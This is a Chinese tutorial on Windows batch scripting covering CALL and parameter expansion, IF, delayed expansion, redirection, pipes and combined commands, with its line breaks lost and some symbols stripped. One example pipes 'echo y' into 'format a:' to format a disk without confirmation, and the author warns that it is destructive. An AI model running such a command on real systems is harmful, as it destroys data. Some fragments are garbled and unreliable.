d:\mp4 #更改当前目录为 d:\mp4pushd c:\mp3 #保存当前目录,并切换当前目录为 c:\mp3popd #恢复当前目录为刚才保存的 d:\mp4一般用处不大,在当前目录名不确定时,会有点帮助。(dos编程中很有用)13、CALLCALL命令可以在批处理执行过程中调用另一个批处理,当另一个批处理执行完后,再继续执行原来的批处理CALL [drive:][path]filename [batch-parameters]调用的其它批处理程序。filename 参数必须具有 .bat 或 .cmd 扩展名。CALL :label arguments调用本文件内命令段,相当于子程序。被调用的命令段以标签:label开头以命令goto :eof结尾。另外,批脚本文本参数参照(%0、%1、等等)已如下改变:批脚本里的 %* 指出所有的参数(如 %1 %2 %3 %4 %5 ...)批参数(%n)的替代已被增强。您可以使用以下语法:(看不明白的直接运行后面的例子)%~1 - 删除引号("),扩充 %1%~f1 - 将 %1 扩充到一个完全合格的路径名%~d1 - 仅将 %1 扩充到一个驱动器号%~p1 - 仅将 %1 扩充到一个路径%~n1 - 仅将 %1 扩充到一个文件名%~x1 - 仅将 %1 扩充到一个文件扩展名%~s1 - 扩充的路径指含有短名%~a1 - 将 %1 扩充到文件属性%~t1 - 将 %1 扩充到文件的日期/时间%~z1 - 将 %1 扩充到文件的大小%~$PATH : 1 - 查找列在 PATH 环境变量的目录,并将 %1扩充到找到的第一个完全合格的名称。如果环境变量名未被定义,或者没有找到文件,此组合键会扩充到空字符串可以组合修定符来取得多重结果:%~dp1 - 只将 %1 扩展到驱动器号和路径%~nx1 - 只将 %1 扩展到文件名和扩展名%~dp$PATH:1 - 在列在 PATH 环境变量中的目录里查找 %1,并扩展到找到的第一个文件的驱动器号和路径。%~ftza1 - 将 %1 扩展到类似 DIR 的输出行。在上面的例子中,%1 和 PATH 可以被其他有效数值替换。%~ 语法被一个有效参数号码终止。%~ 修定符不能跟 %*使用注意:参数扩充时不理会参数所代表的文件是否真实存在,均以当前目录进行扩展要理解上面的知识,下面的例子很关键。例:@echo offEcho 产生一个临时文件 > tmp.txtRem 下行先保存当前目录,再将c:\windows设为当前目录pushd c:\windowsCall :sub tmp.txtRem 下行恢复前次的当前目录PopdCall :sub tmp.txtpauseDel tmp.txt:subEcho 删除引号: %~1Echo 扩充到路径: %~f1Echo 扩充到一个驱动器号: %~d1Echo 扩充到一个路径: %~p1 Echo 扩充到一个文件名: %~n1Echo 扩充到一个文件扩展名: %~x1Echo 扩充的路径指含有短名: %~s1 Echo 扩充到文件属性: %~a1 Echo 扩充到文件的日期/时间: %~t1 Echo 扩充到文件的大小: %~z1 Echo 扩展到驱动器号和路径:%~dp1Echo 扩展到文件名和扩展名:%~nx1Echo 扩展到类似 DIR 的输出行:%~ftza1Echo.Goto :eof14、shift更改批处理文件中可替换参数的位置。SHIFT [/n]如果命令扩展名被启用,SHIFT 命令支持/n 命令行开关;该命令行开关告诉命令从第 n 个参数开始移位;n 介于零和八之间。例如:SHIFT /2会将 %3 移位到 %2,将 %4 移位到 %3,等等;并且不影响 %0 和 %1。15、IFIF 条件判断语句,语法格式如下:IF [NOT] ERRORLEVEL number commandIF [NOT] string1==string2 commandIF [NOT] EXIST filename command下面逐一介绍,更详细的分析请看后面章节。(1) IF [NOT] ERRORLEVEL number commandIF ERRORLEVEL这个句子必须放在某一个命令的后面,执行命令后由IF ERRORLEVEL 来判断命令的返回值。Number的数字取值范围0~255,判断时值的排列顺序应该由大到小。返回的值大于等于指定的值时,条件成立例:@echo offdir c:rem退出代码为>=1就跳至标题1处执行,>=0就跳至标题0处执行IF ERRORLEVEL 1 goto 1IF ERRORLEVEL 0 goto 0Rem 上面的两行不可交换位置,否则失败了也显示成功。:0echo 命令执行成功!Rem 程序执行完毕跳至标题exit处退出goto exit:1echo 命令执行失败!Rem 程序执行完毕跳至标题exit处退出goto exit:exitpause运行显示:命令执行成功!(2) IF [NOT] string1==string2 commandstring1和string2都为字符的数据,英文内字符的大小写将看作不同,这个条件中的等于号必须是两个(绝对相等的意思)条件相等后即执行后面的command检测当前变量的值做出判断,为了防止字符串中含有空格,可用以下格式if [NOT] {string1}=={string2} commandif [NOT] [string1]==[string2] commandif [NOT] "string1"=="string2" command(3) IF [NOT] EXIST filename command为文件或目录是否存在的意思echo offIF EXIST autoexec.bat echo 文件存在!IF not EXIST autoexec.bat echo 文件不存在!16、setlocal 与 变量延迟为了更好的说明问题,我们先引入一个例子。例1:@echo offset a=4set a=5 & echo %a%pause结果:4解说:为什么是4而不是5呢?在echo之前明明已经把变量a的值改成5了?让我们先了解一下批处理运行命令的机制:批处理读取命令时是按行读取的(另外例如for命令等,其后用一对圆括号闭合的所有语句也当作一行),在处理之前要完成必要的预处理工作,这其中就包括对该行命令中的变量赋值。我们现在分析一下例1,批处理在运行到这句“set a=5 & echo %a%”之前,先把这一句整句读取并做了预处理——对变量a赋了值,那么%a%当然就是4了!而为了能够感知环境变量的动态变化,批处理设计了变量延迟。简单来说,在读取了一条完整的语句之后,不立即对该行的变量赋值,而会在某个单条语句执行之前再进行赋值,也就是说“延迟”了对变量的赋值。那么如何开启变量延迟呢?变量延迟又需要注意什么呢?举个例子说明一下:例2:@echo offsetlocal enabledelayedexpansionset a=4set a=5 & echo !a!pause 结果:5解说:启动了变量延迟,得到了正确答案。变量延迟的启动语句是“setlocal enabledelayedexpansion”,并且变量要用一对叹号“!!”括起来,否则就没有变量延迟的效果。分析一下例2,首先“setlocal enabledelayedexpansion”开启变量延迟,然后“set a=4”先给变量a赋值为4,“set a=5 & echo !a!”这句是给变量a赋值为5并输出(由于启动了变量延迟,所以批处理能够感知到动态变化,即不是先给该行变量赋值,而是在运行过程中给变量赋值,因此此时a的值就是5了)。再举一个例子巩固一下。例3:@echo offsetlocal enabledelayedexpansionfor /l %%i in (1,1,5) do (set a=%%iecho !a!)pause结果:12345解说:本例开启了变量延迟并用“!!”将变量扩起来,因此得到我们预期的结果。如果不用变量延迟会出现什么结果呢?结果是这样的:ECHO 处于关闭状态。ECHO 处于关闭状态。ECHO 处于关闭状态。ECHO 处于关闭状态。ECHO 处于关闭状态。即没有感知到for语句中的动态变化。再说说setlocal用法setlocal没有参数时候必须要和endlocal成对出现。这样,在setloacl和endlocal之间所做的变量的设定、改变都会复原到setlocal之前的状态。但是注意:在批处理文件中如只出现setlocal,那么系统会默认在批处理文件执行完毕,退出之前给这个批处理文件添加一个endlocal作为了结,所以实际中应用时可以之用setlocal就可,但是,使用setlocal就不能传递参变量了。因为批处理文件在结束时将变量恢复到setlocal之前的状态了。比如有批处理文件 a.bat ...setlocal...set result=abcd123那么结果变量 result 就不会传递到调用这个批处理的环境中,要想传递必须在 setlocal 之前对 result 的进行改变。当确认一个批处理文件返回的结果可以使用 errorlevel 传递时,最好在批处理的开始使用 @echo off&setlocal; 否则,还是使用 set ...来的好,就是比较麻烦。第二节 常用特殊符号1、@ 命令行回显屏蔽符2、% 批处理变量引导符3、> 重定向符4、>> 重定向符5、&、 重定向符输出重定向命令这个字符的意思是传递并且覆盖,他所起的作用是将运行的结果传递到后面的范围(后边可以是文件,也可以是默认的系统控制台)在NT系列命令行中,重定向的作用范围由整个命令行转变为单个命令语句,受到了命令分隔符&,&&,||和语句块的制约限制。比如:使用命令:echo hello >1.txt将建立文件1.txt,内容为”hello “(注意行尾有一空格)使用命令:echo hello>1.txt将建立文件1.txt,内容为”hello“(注意行尾没有空格)4、>> 重定向符输出重定向命令这个符号的作用和>有点类似,但他们的区别是>>是传递并在文件的末尾追加,而>是覆盖用法同上同样拿1.txt做例子使用命令:echo hello > 1.txtecho world >>1.txt这时候1.txt 内容如下:helloworld5、&、<& 重定向符这三个命令也是管道命令,但它们一般不常用,你只需要知道一下就ok了,当然如果想仔细研究的话,可以自己查一下资料。(本人已查过,网上也查不到相关资料)temp.txtdate &,将一个句柄的输出写入到另一个句柄的输入中。&相反,从一个句柄读取输入并将其写入到另一个句柄输出中。常用句柄:0、1、2,未定义句柄:3—91>nul 表示禁止输出正确的信息2>nul 表示禁止输出错误信息。其中的1与2都是代表某个数据流输入输出的地址(NT CMD 称之为句柄,MSDOS称之为设备)。句柄0:标准输入stdin,键盘输入句柄1:标准输出stdout,输出到命令提示符窗口(console,代码为CON)句柄2:标准错误stderr,输出到命令提示符窗口(console,代码为CON)其中的stdin可被、>>重定向,而stderr在DOS下不可直接重定向,只有通过ctty或其它命令将系统控制权转交给其它设备的方式,来间接完成。6、| 命令管道符格式:第一条命令 | 第二条命令 [| 第三条命令...]将第一条命令的结果作为第二条命令的参数来使用,记得在unix中这种方式很常见。例如:dir c:\|find "txt"以上命令是:查找C:\所有,并发现TXT字符串。FIND的功能请用 FIND /? 自行查看在不使format的自动格式化参数时,我是这样来自动格式化A盘的echo y|format a: /s /q /v:system用过format的都知道,再格盘时要输入y来确认是否格盘,这个命令前加上echo y并用|字符来将echo y的结果传给format命令从而达到自动输入y的目的(这条命令有危害性,测试时请慎重)7、^ 转义字符^是对特殊符号,&的前导字符,在命令中他将以上3个符号的特殊功能去掉,仅仅只把他们当成符号而不使用他们的特殊意义。比如echo test ^>1.txt结果则是:test > 1.txt他没有追加在1.txt里,呵呵。只是显示了出来另外,此转义字符还可以用作续行符号。举个简单的例子:@echo offecho 英雄^是^好^男人pause不用多说,自己试一下就明白了。8、& 组合命令语法:第一条命令 & 第二条命令 [& 第三条命令...]&、&&、||为组合命令,顾名思义,就是可以把多个命令组合起来当一个命令来执行。这在批处理脚本里是允许的,而且用的非常广泛。因为批处理认行不认命令数目。这个符号允许在一行中使用 2 个以上不同的命令,当第一个命令执行失败了,也不影响后边的命令执行。这里&两边的命令是顺序执行的,从前往后执行。比如:dir z:\ & dir y:\ & dir c:\以上命令会连续显示 z,y,c 盘的内容,不理会该盘是否存在9、&& 组合命令语法:第一条命令 && 第二条命令 [&& 第三条命令...]用这种方法可以同时执行多条命令,当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则一直执行完所有命令这个命令和上边的类似,但区别是,第一个命令失败时,后边的命令也不会执行dir z:\ && dir y:\ && dir c:\10、|| 组合命令语法:第一条命令 || 第二条命令 [|| 第三条命令...]用这种方法可以同时执行多条命令,当一条命令失败后才执行第二条命令,当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令;提示:组合命令和重定向命令一起使用必须注意优先级管道命令的优先级高于重定向命令,重定向命令的优先级高于组合命令问题:把C盘和D盘的文件和文件夹列出到 a.txt 文件中。你将如何来搞定这道题?同时执行两个dir,然后把得到的结果>到a.txt里,看例:dir c:\ && dir d:\ > a.txt仔细研究一下这句执行后的结果,看看是否能达到题目的要求!错了!这样执行后a.txt里只有D盘的信息!为什么?就因为这里 && 命令和 > 命令不能同时出现一个句子里(批处理把一行看成一个句子)!!组合命令&&的优先级没有管道命令>的优先级高(自己总结的,不妥的地方请指正)!所以这句在执行时将本行分成这两部分:dir c:\和dir d:\ > a.txt,而并不是如你想的这两部分:dir c:\ && dir d:\和> a.txt。要使用组合命令&&达到题目的要求,必须得这么写:dir c:\ > a.txt && dir d:\ >> a.txt这样,依据优先级高低,DOS 将把这句话分成以下两部分:dir c:\ > a.txt 和 dir d:\ >> a.txt。例十八中的几句的差别比较特殊,值得好好研究体会一下。当然这里还可以利用&命令(自己想一下道理哦):dir c:\ > a.txt & dir d:\ >> a.txt11、"" 字符串界定符双引号允许在字符串中包含空格,进入一个特殊目录可以用如下方法cd "program files"cd progra~1cd pro*以上三种方法都可以进入 program files 这个目录12、, 逗号逗号相当于空格,在某些情况下“,”可以用来当做空格使比如dir,c:\13、; 分号分号,当命令相同时,可以将不同目标用;来隔离,但执行效果不变,如执行过程中发生错误,则只返回错误报告,但程序仍会执行。(有人说不会继续执行,其实测试一下就知道了)比如:dir c:\;d:\;e:\;z:\以上命令相当于dir c:\dir d:\dir e:\dir f:\如果其中z盘不存在,运行显示:系统找不到指定的路径。然后终止命令的执行。例:dir c:\;d:\;e:\1.txt以上命令相当于dir c:\dir d:\dir e:\1.txt其中文件 e:\1.txt 不存在,但 e 盘存在,有错误提示,但命令仍会执行。为什么?如果目标路径不存在,则终止执行;如果路径存在,文件不存在,则继续执行。14、() 括号小括号在批处理编程中有特殊的作用,左右括号必须成对使用,括号中可以包括多行命令,这些命令将被看成一个整体,视为一条命令行。括号在 for 语句和 if 语句中常见,用来嵌套使用循环或条件语句,其实括号()也可以单独使用,请看例子。例:命令:echo 1 & echo 2 & echo 3可以写成:(echo 1echo 2echo 3)上面两种写法效果一样,这两种写法都被视为是一条命令行。注意:这种多条命令被视为一条命令行时,如果其中有变量,就涉及到变量延迟的问题。15、! 感叹号没啥说的,在变量延迟问题中,用来表示变量,即 %var% 应该表示为 !var!,请看前面的 setlocal 命令介绍。

相关文章